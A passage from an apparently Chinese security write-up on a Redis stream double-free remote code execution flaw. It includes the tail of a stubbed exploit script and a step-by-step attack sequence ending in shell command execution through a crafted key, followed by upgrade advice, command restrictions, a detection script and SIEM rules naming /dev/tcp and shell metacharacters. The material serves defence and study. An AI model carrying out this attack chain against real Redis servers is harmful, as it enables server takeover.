"""通过伪 robj->ptr=addr, GET 对应 key 实现任意读 (框架)"""
# 实现需先把伪 dictEntry 的 val 指向伪 robj, 伪 robj->ptr=addr
return int.from_bytes(b"\x00" * 8, "little")
def arbitrary_write(addr, value):
"""通过伪 robj->ptr=addr, SET 对应 key 实现任意写 (框架)"""
pass
# ----------------------------------------------------------------------
# 5. 主流程
# ----------------------------------------------------------------------
def main():
print("=" * 60)
print("CVE-2026-25243 Redis Stream NACK Double-Free RCE")
print("=" * 60)
payload = build_stream_rdb_payload()
print(f"[*] 恶意 RDB payload 大小: {len(payload)} bytes")
trigger_double_free(payload)
heap_spray_and_exploit()
if __name__ == "__main__":
main()
说明:上述脚本为框架,其中 RDB payload 的 listpack 部分、各偏移量(PIE/libc/GOT/dictType)需根据目标 Redis 的具体版本与编译产物校准。真实的稳定利用还需要处理 jemalloc tcache 的随机化、线程绑定以及 Redis 事件循环时序等细节。
8. 正常 Stream 操作 vs 恶意 Stream 操作对比
下表对比正常 Stream 消费组操作与本次漏洞利用的命令序列差异,便于理解攻击者的异常行为特征:
| 阶段 | 正常 Stream 操作 | 恶意 Stream 操作(CVE-2026-25243) | 异常点 |
|---|---|---|---|
| 数据载入 | XADD 逐条写入;XGROUP CREATE 建组 |
RESTORE 一次性载入二进制 stream,内含畸形消费组结构 |
用 RESTORE 载入非自产 stream 数据 |
| 消费者PEL形态 | 每条 rawid 仅归属一个消费者 | 同一 rawid 同时出现在 A、B 两个消费者的 PEL 中 | PEL 出现 rawid 重复归属 |
| 消费者创建 | XGROUP CREATECONSUMER 正常注册 |
由 RESTORE 反序列化直接产生 | 无显式 CREATECONSUMER |
| 释放操作 | 删除消费者前通常先 XACK 清理 PEL |
连续两次 XGROUP DELCONSUMER,无 XACK |
短时间内对同组连续 DELCONSUMER |
| 释放后行为 | PEL 清空,NACK 单次释放 | 同一 NACK 被释放两次(double free) | 重复释放同一 chunk |
| 后续命令 | 正常业务读写 | 大量等长 SET(堆风水)+ EVAL 泄露 |
异常 spray 与 Lua 调用 |
| 终态 | 业务正常 | EXISTS <shell命令> 触发 system() |
字典查找执行系统命令 |
9. 防御方案
9.1 升级到修复版本
最根本的防御是升级到 Redis 8.8.0 及以上。PR #15081 对 stream 消费组/NACK 的存储模型做了重构,使 NACK 与消费者的归属关系在数据结构层面唯一化,从根上消除了"一个 NACK 被多个消费者共用"的可能。
| 受影响版本 | 建议 |
|---|---|
| Redis 6.2.x | 升级至 8.8.0+,或评估 6.2 分支是否提供 backport 补丁 |
| Redis 7.4.x | 升级至 8.8.0+ |
| Redis 8.6.x | 升级至 8.8.0+ |
| Redis 8.8.0+ | 不受影响 |
9.2 ACL / rename-command 收敛高危命令
漏洞利用依赖 RESTORE、EVAL/EVALSHA、XGROUP 等命令。应通过 Redis ACL 限制普通用户对这些命令的访问:
# 创建受限用户, 仅授予业务所需命令
ACL SETUSER appuser on >strongpassword ~app:* +get +set +xadd +xread +xreadgroup -@dangerous
# 禁用或重命名高危命令 (redis.conf)
rename-command RESTORE ""
rename-command EVAL ""
rename-command EVALSHA ""
rename-command XGROUP "" # 若业务不需要消费组则禁用; 否则用ACL细控
9.3 网络隔离
Redis 设计上不假定面对不可信网络。严禁将 Redis 直接暴露到公网。应通过 VPC 私有网络、安全组、防火墙等手段限制只有可信应用可访问 Redis 端口。
9.4 内存安全编译选项
对于自行编译 Redis 的场景,可启用额外的内存安全编译选项,提升利用难度:
# 编译时启用asan/tsan (仅限测试环境, 有性能开销)
make SANITIZER=address
# 生产环境可考虑启用 jemalloc 的 double-free 检测
# 配置环境变量
MALLOC_CONF="abort_conf:true,retention:false"
jemalloc 在检测到 double free 时默认会 abort 进程,从而阻断利用链的后续步骤(信息泄露与指针劫持)。这是在不升级版本情况下的有效缓解措施。
10. 检测方法
10.1 Redis MONITOR 命令检测异常 XGROUP 操作
MONITOR 会实时输出 Redis 处理的所有命令。可编写检测脚本识别异常模式:
# 检测规则: 短时间内对同一消费组连续执行多次 DELCONSUMER, 且无 intervening XACK
import re
from collections import defaultdict
suspicious = defaultdict(list)
def on_command(cmd_line, ts):
# 匹配: XGROUP DELCONSUMER <group> <consumer>
m = re.match(r'XGROUP DELCONSUMER (\S+) (\S+)', cmd_line)
if m:
group = m.group(1)
suspicious[group].append((ts, cmd_line))
# 若 5 秒内对同组出现 >=2 次 DELCONSUMER, 告警
recent = [x for x in suspicious[group] if ts - x[0] < 5]
if len(recent) >= 2:
alert(f"[!] 可疑双重DELCONSUMER: group={group}, "
f"cmds={[x[1] for x in recent]}")
10.2 SIEM 规则检测双重 DELCONSUMER 模式
在企业 SIEM 中,可对 Redis 审计日志/Audit 功能输出的事件配置以下检测规则:
| 检测规则 | 触发条件 | 风险等级 | 说明 |
|---|---|---|---|
| 规则1:连续双重 DELCONSUMER | 同一 group 在 10s 内出现 ≥2 次 XGROUP DELCONSUMER |
高 | 漏洞利用核心特征 |
| 规则2:RESTORE 后紧跟 DELCONSUMER | RESTORE 载入 stream 类型 key 后 60s 内出现 XGROUP DELCONSUMER |
高 | 攻击者载入恶意 stream 后立即触发 |
| 规则3:DELCONSUMER 后异常 SET spray | DELCONSUMER 后 30s 内出现大量等长(约 64 字节)SET |
中 | 堆风水 spray 行为 |
| 规则4:EVAL 泄露模式 | EVAL 含 tostring/string.format/debug.getinfo 且参数为函数 |
中 | Lua 闭包信息泄露 |
| 规则5:EXISTS 异常命令 | EXISTS/GET 的 key 含 shell 元字符(;、` |
、&、/dev/tcp`) |
高 |
-- 示例 Splunk/SIEM SPL 检测双重DELCONSUMER
index=redis_audit command="XGROUP DELCONSUMER"
| bucket _time span=10s
| stats count as delconsumer_count dc(consumer) as distinct_consumers by group, _time
| where delconsumer_count >= 2
| eval risk="high", reason="疑似 CVE-2026-25243 双重释放利用"
10.3 运行时内存检测
启用 jemalloc 的 opt.abort_conf 与 Redis 的崩溃日志,可在 double free 发生时立即 abort 并生成崩溃报告,便于运维及时发现异常:
# redis.conf
enable-protected-configs yes
# 启动前设置环境变量
export MALLOC_CONF="abort_conf:true,prof:true,prof_prefix:/var/log/redis/jeprof"
当攻击者触发双重释放时,jemalloc 会检测到 bin-64 中重复入链的 chunk 并主动 abort,在日志中留下类似 jemalloc(): arena.c:xxxx:Assertion ... double free detected 的记录,配合 SIEM 规则可实现近实时告警。
免责声明
本文仅供安全研究和技术学习使用,文中涉及的漏洞分析、PoC代码和攻击技术仅用于授权测试和安全防御建设。读者应遵守所在地区的法律法规,未经授权不得对任何系统进行渗透测试或攻击。因不当使用本文内容所造成的任何后果,作者不承担任何责任。
浙公网安备 33010602011771号